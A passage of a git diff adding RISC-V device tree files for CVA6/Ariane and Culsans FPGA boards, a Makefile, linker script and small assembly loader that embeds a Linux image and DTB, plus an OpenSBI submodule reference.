voltage-ranges = <3300 3300>; + // // //interrupts = < 2 2 >; + // // //interrupt-parent = <&PLIC0>; + // // }; + // }; + // eth: lowrisc-eth@30000000 { + // compatible = "lowrisc-eth"; + // device_type = "network"; + // interrupt-parent = <&PLIC0>; + // interrupts = <3 0>; + // local-mac-address = [00 18 3e 02 e3 7f]; // This needs to change if more than one GenesysII on a VLAN + // reg = <0x0 0x30000000 0x0 0x8000>; + // }; + // xlnx_gpio: gpio@40000000 { + // #gpio-cells = <2>; + // compatible = "xlnx,xps-gpio-1.00.a"; + // gpio-controller ; + // reg = <0x0 0x40000000 0x0 0x10000 >; + // xlnx,all-inputs = <0x0>; + // xlnx,all-inputs-2 = <0x0>; + // xlnx,dout-default = <0x0>; + // xlnx,dout-default-2 = <0x0>; + // xlnx,gpio-width = <0x8>; + // xlnx,gpio2-width = <0x8>; + // xlnx,interrupt-present = <0x0>; + // xlnx,is-dual = <0x1>; + // xlnx,tri-default = <0xffffffff>; + // xlnx,tri-default-2 = <0xffffffff>; + // }; + }; +}; \ No newline at end of file diff --git a/dts/culsans-linux.dts b/dts/culsans-linux.dts new file mode 100644 index 0000000..ea305d4 --- /dev/null +++ b/dts/culsans-linux.dts @@ -0,0 +1,162 @@ +/dts-v1/; + +/ { + #address-cells = <2>; + #size-cells = <2>; + compatible = "eth,ariane-bare-dev"; + model = "eth,ariane-bare"; + chosen { + stdout-path = "/soc/uart@10000000:115200"; + }; + cpus { + #address-cells = <1>; + #size-cells = <0>; + timebase-frequency = <25000000>; // 25 MHz + CPU0: cpu@0 { + clock-frequency = <50000000>; // 50 MHz + device_type = "cpu"; + reg = <0>; + status = "okay"; + compatible = "eth, ariane", "riscv"; + riscv,isa = "rv64imafdc"; + mmu-type = "riscv,sv39"; + tlb-split; + // HLIC - hart local interrupt controller + CPU0_intc: interrupt-controller { + #interrupt-cells = <1>; + interrupt-controller; + compatible = "riscv,cpu-intc"; + }; + }; + CPU1: cpu@1 { + clock-frequency = <50000000>; // 50 MHz + device_type = "cpu"; + reg = <1>; + status = "okay"; + compatible = "eth, ariane", "riscv"; + riscv,isa = "rv64imafdc"; + mmu-type = "riscv,sv39"; + tlb-split; + // HLIC - hart local interrupt controller + CPU1_intc: interrupt-controller { + #interrupt-cells = <1>; + interrupt-controller; + compatible = "riscv,cpu-intc"; + }; + }; + }; + memory@80000000 { + device_type = "memory"; + reg = <0x0 0x80200000 0x0 0x20000000>; + }; + // leds { + // compatible = "gpio-leds"; + // heartbeat-led { + // gpios = <&xlnx_gpio 1 0>; + // linux,default-trigger = "heartbeat"; + // retain-state-suspended; + // }; + // }; + L26: soc { + #address-cells = <2>; + #size-cells = <2>; + compatible = "eth,ariane-bare-soc", "simple-bus"; + ranges; + clint@2000000 { + compatible = "riscv,clint0"; + interrupts-extended = <&CPU0_intc 3 &CPU0_intc 7 &CPU1_intc 3 &CPU1_intc 7>; + reg = <0x0 0x2000000 0x0 0xc0000>; + reg-names = "control"; + }; + PLIC0: interrupt-controller@c000000 { + #address-cells = <0>; + #interrupt-cells = <1>; + compatible = "riscv,plic0"; + interrupt-controller; + interrupts-extended = <&CPU0_intc 11 &CPU0_intc 9 &CPU1_intc 11 &CPU1_intc 9>; + reg = <0x0 0xc000000 0x0 0x4000000>; + riscv,max-priority = <7>; + riscv,ndev = <30>; + }; + // Specifying the interrupt controller in the devicetree is not necessary. + // Furthermore, the IRQ 65535 will cause a `hwirq 0xffff is too large` during + // Linux boot (occured with mainline linux 5.14.0). + // debug-controller@0 { + // compatible = "riscv,debug-013"; + // interrupts-extended = <&CPU0_intc 65535>; + // reg = <0x0 0x0 0x0 0x1000>; + // reg-names = "control"; + // }; + uart@10000000 { + compatible = "ns16550a"; + reg = <0x0 0x10000000 0x0 0x1000>; + clock-frequency = <50000000>; + current-speed = <115200>; + interrupt-parent = <&PLIC0>; + interrupts = <1>; + reg-shift = <2>; // regs are spaced on 32 bit boundary + reg-io-width = <4>; // only 32-bit access are supported + }; + timer@18000000 { + compatible = "pulp,apb_timer"; + interrupts = <0x00000004 0x00000005 0x00000006 0x00000007>; + reg = <0x00000000 0x18000000 0x00000000 0x00001000>; + interrupt-parent = <&PLIC0>; + reg-names = "control"; + }; + // xps-spi@20000000 { + // compatible = "xlnx,xps-spi-2.00.b", "xlnx,xps-spi-2.00.a"; + // #address-cells = <1>; + // #size-cells = <0>; + // interrupt-parent = <&PLIC0>; + // interrupts = < 2 2 >; + // reg = < 0x0 0x20000000 0x0 0x1000 >; + // xlnx,family = "kintex7"; + // xlnx,fifo-exist = <0x1>; + // xlnx,num-ss-bits = <0x1>; + // xlnx,num-transfer-bits = <0x8>; + // xlnx,sck-ratio = <0x4>; + + // mmc@0 { + // compatible = "mmc-spi-slot"; + // reg = <0>; + // spi-max-frequency = <12500000>; + // voltage-ranges = <3300 3300>; + // disable-wp; + // }; + + // // mmc-slot@0 { + // // compatible = "fsl,mpc8323rdb-mmc-slot", "mmc-spi-slot"; + // // reg = <0>; //Chip select 0 + // // spi-max-frequency = <12500000>; + // // voltage-ranges = <3300 3300>; + // // //interrupts = < 2 2 >; + // // //interrupt-parent = <&PLIC0>; + // // }; + // }; + // eth: lowrisc-eth@30000000 { + // compatible = "lowrisc-eth"; + // device_type = "network"; + // interrupt-parent = <&PLIC0>; + // interrupts = <3 0>; + // local-mac-address = [00 18 3e 02 e3 7f]; // This needs to change if more than one GenesysII on a VLAN + // reg = <0x0 0x30000000 0x0 0x8000>; + // }; + // xlnx_gpio: gpio@40000000 { + // #gpio-cells = <2>; + // compatible = "xlnx,xps-gpio-1.00.a"; + // gpio-controller ; + // reg = <0x0 0x40000000 0x0 0x10000 >; + // xlnx,all-inputs = <0x0>; + // xlnx,all-inputs-2 = <0x0>; + // xlnx,dout-default = <0x0>; + // xlnx,dout-default-2 = <0x0>; + // xlnx,gpio-width = <0x8>; + // xlnx,gpio2-width = <0x8>; + // xlnx,interrupt-present = <0x0>; + // xlnx,is-dual = <0x1>; + // xlnx,tri-default = <0xffffffff>; + // xlnx,tri-default-2 = <0xffffffff>; + // }; + }; +}; \ No newline at end of file diff --git a/dts/cva6-ariane-minimal-bao.dtb b/dts/cva6-ariane-minimal-bao.dtb new file mode 100644 index 0000000000000000000000000000000000000000..0d1cd438b1d06f0964d8291a425834e3a7bf08ae GIT binary patch literal 1731 zcmb7EJ8u&~5Z(&}2oLcPG*|*lkq|;&#U|tdm3tZrx)f-=x3O2b7rT4LMj)l3L*g&w zPf*eTKY)^w9wAXtP$0h9yFFh*3Nq4o=bP8g&dmACr9VFyJM)P#w$0e`Tby^nSHV}n zplA#Fr%MooTqDf31`5UAqRXNa!0vIPZ%vS#Ye&@9;+#Zkw4va=ZKwbk(}gK zWh8pPn>c%GHkWIqFm5>LSM+Ew*tp;CdpCb)B#Y8ku&IY2)!eR+bOCQiuV+JGiXGOu zg6;9r@1OfE-yQe>HnC#@Ao5=Z@8x@9P6`m|u7UmgyHx|2(N_A`SN4mr8#CQ}pi{9M z%L$;5yMXhR_wCu~`a@ECJ)LjBkB+8Hx6l#A5IlP(GZuik{5KKPTS)4nSjZ|JoGxdGh?~;nK?l*r>t_UL} z5Naej>+s#A3bnNRMRTcpR3ut9 z?CB)8fgQJJlIL^puxUBTWxV!sC*Vxm-7Eah;c>ULAp zdH8gSGAVjGP6Ysn@-?+S@hbZ9wbK3VT=cP%kz)QMm(Ky$V{_5=o*-A3d_l+NT0dDX ze{VZinD5G}h-0Iyt25nmLulDz0xy#f%q5=SI7Et%7yRWND1b94=MxZQ}7XQZE#!R*kux P=w0U}o%0tu#`FII_LLP* literal 0 HcmV?d00001 diff --git a/dts/cva6-ariane-minimal-bao.dts b/dts/cva6-ariane-minimal-bao.dts new file mode 100644 index 0000000..8e6bdbc --- /dev/null +++ b/dts/cva6-ariane-minimal-bao.dts @@ -0,0 +1,105 @@ +/dts-v1/; + +/ { + #address-cells = <2>; + #size-cells = <2>; + compatible = "eth,ariane-bare-dev"; + model = "eth,ariane-bare"; + chosen { + stdout-path = "/soc/uart@10000000:115200"; + }; + cpus { + #address-cells = <1>; + #size-cells = <0>; + timebase-frequency = <25000000>; // 25 MHz + CPU0: cpu@0 { + clock-frequency = <50000000>; // 50 MHz + device_type = "cpu"; + reg = <0>; + status = "okay"; + compatible = "eth, ariane", "riscv"; + riscv,isa = "rv64imafdch"; + mmu-type = "riscv,sv39"; + tlb-split; + // HLIC - hart local interrupt controller + CPU0_intc: interrupt-controller { + #interrupt-cells = <1>; + interrupt-controller; + compatible = "riscv,cpu-intc"; + }; + }; + }; + memory@80200000 { + device_type = "memory"; + reg = <0x0 0x80200000 0x0 0x20E00000>; + }; + + // no leds + + L26: soc { + #address-cells = <2>; + #size-cells = <2>; + compatible = "eth,ariane-bare-soc", "simple-bus"; + ranges; + + PLIC0: interrupt-controller@c000000 { + #address-cells = <0>; + #interrupt-cells = <1>; + compatible = "riscv,plic0"; + interrupt-controller; + interrupts-extended = <&CPU0_intc 11 &CPU0_intc 9>; + reg = <0x0 0xc000000 0x0 0x4000000>; + riscv,max-priority = <7>; + riscv,ndev = <30>; + }; + + uart@10000000 { + compatible = "ns16750"; + reg = <0x0 0x10000000 0x0 0x1000>; + clock-frequency = <50000000>; + current-speed = <115200>; + interrupt-parent = <&PLIC0>; + interrupts = <1>; + reg-shift = <2>; // regs are spaced on 32 bit boundary + reg-io-width = <4>; // only 32-bit access are supported + }; + + // no timer + // no spi + // no eth + // no GPIO + + idma0: master@50000000{ + compatible = "pulp,idma"; + reg = <0x0 0x50000000 0x0 0x00001000>; + // interrupts = <15>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + }; + + idma1: master@50001000{ + compatible = "pulp,idma"; + reg = <0x0 0x50001000 0x0 0x00001000>; + // interrupts = <13>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + }; + + idma2: master@50002000{ + compatible = "pulp,idma"; + reg = <0x0 0x50002000 0x0 0x00001000>; + // interrupts = <11>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + }; + + idma3: master@50003000{ + compatible = "pulp,idma"; + reg = <0x0 0x50003000 0x0 0x00001000>; + // interrupts = <9>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + }; + + }; +}; diff --git a/dts/cva6-ariane-minimal.dtb b/dts/cva6-ariane-minimal.dtb new file mode 100644 index 0000000000000000000000000000000000000000..c62d06e8e29d8a4920894f0c4268e55c2f2323fb GIT binary patch literal 3518 zcma)9&5ImG6t5mX6BEBs2rlT#f<%~3W;S1|2OaPd@FIw(AfczbW~SZ#N>|P9tSIiq zix=}J#DBn>;6WqkL673io2UmbVn9&vp#FZZx_WwMS4=@ozxR8uUcIlb>iPEc-@ht# z`nFPPN2!zF;CUAFG0aCXF?xRhzv<|e-=N{{!SmjR?&0bAM?ic23D6tb&iYZEMuiT? zQLV#7?{OLRxz}@Ra>{~uRvKN96uqbL?4LJfe10C)b~GHg@#1iJX?rjbHQ6(WtGRJ( z>knD_-1U!`=XZj47bEaoJ8Eos*{i+3?i_Y>uR#ZFyLL(jgZlSj?v}gJ0RaqRk7G*w zn=S#WPE9P)JNYTd>w53<#Was5Njw89>mI`M9ntNZy$df87M#!bF@vUXbaeTc4A_Hl|fthD$*()2Q)SN0y*06}!yU=d{sGN*E7q zeATWY>To{4$MkUoXdhx+^M8H&40Mk4E!UeguQK#;(`B^9aR>9*nv7!CsiL*IHzDs! zw^od^sZW)qahq%E-@@b?=J-!c#>QUZ^8}`sN&abwqY1XzE1*8>=J}^Vb2hwU{Ygu` zR$e!N7?eGTxlx$m)`2= zm%j;`p^2Y1&2>E*?sT$EJ?Zsoo>l#*8ebPBpw0%I3%Cbu@ZG&1)90m)cz91|2d7Oo~M@AQ10}LSN z;2!cmb#y#V->((g?w9qh$Kd~w+Fpf_b~yM%p9H_FGcWaidauRW{Q8ZRI;2o~f#=)k z;)-KU>^=6KuhEmBm%Sl};*iZDjR0BWLyvbf>2}W%7#XaVlOc}Yv%)R;;Tr$S8vn)` zpMqzOysy01y8H)g`s@dK;PpTL2cyG(vC7LiLw(6nTITtDbZIbV)8!{cr2 zuhD`GLb5m3NdMDUo{794=+nd4>bp2kZm3CSZ>U+71H@?jU8y_s_akJTc*I}e&fh#T zxPa-f3~xv7GdXY4B#($X`%8ZvhTqm-_}Tjn0ByJV=-6jQxQc$>g?+IL)nn~5*OKp! zeI8SQ@7De%buo^$PaoIq^OfX+yYydl|I5D5zmMa@R+J>QHYSX9mKn8W(zkU($7Nnc zHXUbL2RjsF39$8%b z?#n4PkwV9YBDL8Vhg+6fwbl796Nftd@;j}XMMVO)_>LQurNw;FPxK_3XEwBTI-TNM zuGTh6i;$b@(9BJxiv(XobyQ5XQLR}M>V<7Y{Iu-n(ITwsw5(Hm(D;gldn%sSwJt3D z)G*VoM>YsA0R*V0p_!!_R|CzBV0r|HkZ3<66I-j(9r3mgdeG~jxXkUh?0y` z+b9#TaNSIF-GL4AU86*$;!Q};m(|!SGaF4cRD1&w!Hnmq; + #size-cells = <2>; + compatible = "eth,ariane-bare-dev"; + model = "eth,ariane-bare"; + chosen { + stdout-path = "/soc/uart@10000000:115200"; + }; + cpus { + #address-cells = <1>; + #size-cells = <0>; + timebase-frequency = <25000000>; // 25 MHz + CPU0: cpu@0 { + clock-frequency = <50000000>; // 50 MHz + device_type = "cpu"; + reg = <0>; + status = "okay"; + compatible = "eth, ariane", "riscv"; + riscv,isa = "rv64imafdch"; + mmu-type = "riscv,sv39"; + tlb-split; + // HLIC - hart local interrupt controller + CPU0_intc: interrupt-controller { + #interrupt-cells = <1>; + interrupt-controller; + compatible = "riscv,cpu-intc"; + }; + }; + }; + memory@80200000 { + device_type = "memory"; + reg = <0x0 0x80200000 0x0 0x3FE00000>; + }; + leds { + compatible = "gpio-leds"; + heartbeat-led { + gpios = <&xlnx_gpio 1 0>; + linux,default-trigger = "heartbeat"; + retain-state-suspended; + }; + }; + L26: soc { + #address-cells = <2>; + #size-cells = <2>; + compatible = "eth,ariane-bare-soc", "simple-bus"; + ranges; + + PLIC0: interrupt-controller@c000000 { + #address-cells = <0>; + #interrupt-cells = <1>; + compatible = "riscv,plic0"; + interrupt-controller; + interrupts-extended = <&CPU0_intc 11 &CPU0_intc 9>; + reg = <0x0 0xc000000 0x0 0x4000000>; + riscv,max-priority = <7>; + riscv,ndev = <30>; + }; + + uart@10000000 { + compatible = "ns16750"; + reg = <0x0 0x10000000 0x0 0x1000>; + clock-frequency = <50000000>; + current-speed = <115200>; + interrupt-parent = <&PLIC0>; + interrupts = <1>; + reg-shift = <2>; // regs are spaced on 32 bit boundary + reg-io-width = <4>; // only 32-bit access are supported + }; + timer@18000000 { + compatible = "pulp,apb_timer"; + interrupts = <0x00000004 0x00000005 0x00000006 0x00000007>; + reg = <0x00000000 0x18000000 0x00000000 0x00001000>; + interrupt-parent = <&PLIC0>; + reg-names = "control"; + }; + spi@20000000 { + compatible = "xlnx,xps-spi-2.00.b", "xlnx,xps-spi-2.00.a"; + #address-cells = <1>; + #size-cells = <0>; + interrupt-parent = <&PLIC0>; + interrupts = < 2 2 >; + reg = < 0x0 0x20000000 0x0 0x1000 >; + xlnx,family = "kintex7"; + xlnx,fifo-exist = <0x1>; + xlnx,num-ss-bits = <0x1>; + xlnx,num-transfer-bits = <0x8>; + xlnx,sck-ratio = <0x4>; + + mmc@0 { + compatible = "mmc-spi-slot"; + reg = <0>; + spi-max-frequency = <12500000>; + voltage-ranges = <3300 3300>; + disable-wp; + }; + + // mmc-slot@0 { + // compatible = "fsl,mpc8323rdb-mmc-slot", "mmc-spi-slot"; + // reg = <0>; //Chip select 0 + // spi-max-frequency = <12500000>; + // voltage-ranges = <3300 3300>; + // //interrupts = < 2 2 >; + // //interrupt-parent = <&PLIC0>; + // }; + }; + eth: lowrisc-eth@30000000 { + compatible = "lowrisc-eth"; + device_type = "network"; + interrupt-parent = <&PLIC0>; + interrupts = <3 0>; + local-mac-address = [00 18 3e 02 e3 7f]; // This needs to change if more than one GenesysII on a VLAN + reg = <0x0 0x30000000 0x0 0x8000>; + }; + xlnx_gpio: gpio@40000000 { + #gpio-cells = <2>; + compatible = "xlnx,xps-gpio-1.00.a"; + gpio-controller ; + reg = <0x0 0x40000000 0x0 0x10000 >; + xlnx,all-inputs = <0x0>; + xlnx,all-inputs-2 = <0x0>; + xlnx,dout-default = <0x0>; + xlnx,dout-default-2 = <0x0>; + xlnx,gpio-width = <0x8>; + xlnx,gpio2-width = <0x8>; + xlnx,interrupt-present = <0x0>; + xlnx,is-dual = <0x1>; + xlnx,tri-default = <0xffffffff>; + xlnx,tri-default-2 = <0xffffffff>; + }; + riscv_iommu: iommu@50010000 { + compatible = "riscv,iommu"; + reg = <0x0 0x50010000 0x0 0x00001000>; + interrupts = <8 9 10>; + interrupt-names = "cmdq", "fltq", "hpm"; + interrupt-parent = <&PLIC0>; + #iommu-cells = <1>; + }; + + idma0: master@50000000{ + compatible = "pulp,idma"; + reg = <0x0 0x50000000 0x0 0x00001000>; + // interrupts = <15>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + iommus = <&riscv_iommu 1>; + }; + + idma1: master@50001000{ + compatible = "pulp,idma"; + reg = <0x0 0x50001000 0x0 0x00001000>; + // interrupts = <13>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + iommus = <&riscv_iommu 2>; + }; + + idma2: master@50002000{ + compatible = "pulp,idma"; + reg = <0x0 0x50002000 0x0 0x00001000>; + // interrupts = <11>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + iommus = <&riscv_iommu 3>; + }; + + idma3: master@50003000{ + compatible = "pulp,idma"; + reg = <0x0 0x50003000 0x0 0x00001000>; + // interrupts = <9>; + // interrupt-names = "wr"; + // interrupt-parent = <&PLIC0>; + iommus = <&riscv_iommu 4>; + }; + }; +}; diff --git a/lloader/Makefile b/lloader/Makefile new file mode 100644 index 0000000..e2f427c --- /dev/null +++ b/lloader/Makefile @@ -0,0 +1,30 @@ + +ifeq ($(and $(IMAGE), $(DTB), $(TARGET), $(ARCH)),) +ifneq ($(MAKECMDGOALS), clean) + $(error Linux image (IMAGE) and/or device tree (DTB) and/or target name \ + (TARGET) and/or architecture (ARCH) not specified) +endif +endif + +ARCH ?=rv64 + +ifeq ($(ARCH), rv64) +CROSS_COMPILE ?=riscv64-unknown-elf- +OPTIONS=-ffreestanding -nostartfiles -static -march=rv64imafdc -mcmodel=medany -mabi=lp64 -g3 -O3 +else +$(error unkown architecture $(ARCH)) +endif + +all: $(TARGET).bin + +clean: + -rm *.elf *.bin + +.PHONY: all clean + +$(TARGET).bin: $(TARGET).elf + $(CROSS_COMPILE)objcopy -S -O binary $(TARGET).elf $(TARGET).bin + +$(TARGET).elf: $(ARCH).S $(IMAGE) $(DTB) loader_$(ARCH).ld + $(CROSS_COMPILE)gcc -Wl,-build-id=none -nostdlib -T loader_$(ARCH).ld\ + -o $(TARGET).elf $(OPTIONS) $(ARCH).S -I. -D IMAGE=$(IMAGE) -D DTB=$(DTB) diff --git a/lloader/loader_rv64.ld b/lloader/loader_rv64.ld new file mode 100644 index 0000000..4f26dd9 --- /dev/null +++ b/lloader/loader_rv64.ld @@ -0,0 +1,20 @@ +ENTRY(_start) + +SECTIONS +{ + .nloader : { + KEEP(*(.nloader)) + } + + .linux : ALIGN(0x200000) { + __linux_start = .; + KEEP(*(.linux)) + __linux_end = .; + } + + .dtb : ALIGN(0x200000) { + __dtb_start = ABSOLUTE(.); + KEEP(*(.dtb)) + __dtb_end = .; + } +} diff --git a/lloader/rv64.S b/lloader/rv64.S new file mode 100644 index 0000000..69fec40 --- /dev/null +++ b/lloader/rv64.S @@ -0,0 +1,22 @@ +#define STRINGIFY2(X) #X +#define STRINGIFY(X) STRINGIFY2(X) + +.section .nloader, "a" +.global _start +_start: + + /* boot protocol */ + /* We are expecting hartid in a0 */ + la a1, __dtb_start + + /* jump to linux */ + la t0, __linux_start + jalr t0 + j . + +.section .linux, "a" + .incbin STRINGIFY(IMAGE) + +.section .dtb, "a" + .incbin STRINGIFY(DTB) + diff --git a/opensbi b/opensbi new file mode 160000 index 0000000..48f91ee --- /dev/null +++ b/opensbi @@ -0,0 +1 @@ +Subproject commit 48f91ee9c960f048c4a7d1da4447d31e04931e38